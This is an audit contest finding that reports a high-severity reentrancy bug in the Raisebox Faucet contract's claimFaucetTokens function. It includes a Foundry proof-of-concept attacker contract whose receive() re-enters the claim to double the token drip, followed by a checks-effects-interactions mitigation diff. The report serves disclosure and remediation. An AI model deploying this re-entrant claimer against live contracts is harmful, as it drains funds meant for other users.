Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy when ETH is claimed allows double Faucet token claim

Root + Impact / Reentrancy when ETH is claimed allows double Faucet token claim

Description

  • New users should be permitted to claim one Faucet token drip and one ETH drip on their first claim, provided that neither limit has been reached.

  • However, there is a reentrancy vulnerability during the ETH transfer process. When ETH is sent, the external call allows the user to re-enter the claim logic and perform an additional claim, effectively receiving double the faucet token drip.

@> (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");

Risk

Likelihood:

  • The issue can occur for every new user who receives an ETH drip and is a contract.

Impact:

  • First-time users can exploit the reentrancy to double claim faucet tokens, receiving more tokens than intended. This leads to unfair token distribution and potential depletion of the faucet balance.

Proof of Concept

Add the following test and helper contract to RaiseBoxFaucet.t.sol to reproduce the issue:

function test_audit_reentrancyWhenEthIsClaimedAllowsDoubleFaucetTokenClaim()
public
{
Claimer claimer = new Claimer(raiseBoxFaucet);
claimer.claim();
assertEq(
raiseBoxFaucet.getBalance(address(claimer)),
raiseBoxFaucet.faucetDrip() * 2
);
}
contract Claimer {
RaiseBoxFaucet private s_raiseBoxFaucet;
constructor(RaiseBoxFaucet _raiseBoxFaucet) {
s_raiseBoxFaucet = _raiseBoxFaucet;
}
function claim() external {
s_raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
s_raiseBoxFaucet.claimFaucetTokens();
}
}

Recommended Mitigation

Move the external ETH transfer (the whole IF block below) to the end of the RaiseBoxFaucet.sol::claimFaucetTokens function, after all internal state changes are applied. This ensures that reentrancy cannot affect the token claim logic.

- // still checks
- if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
- ...
- }
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
+ if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ ...
+ }
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.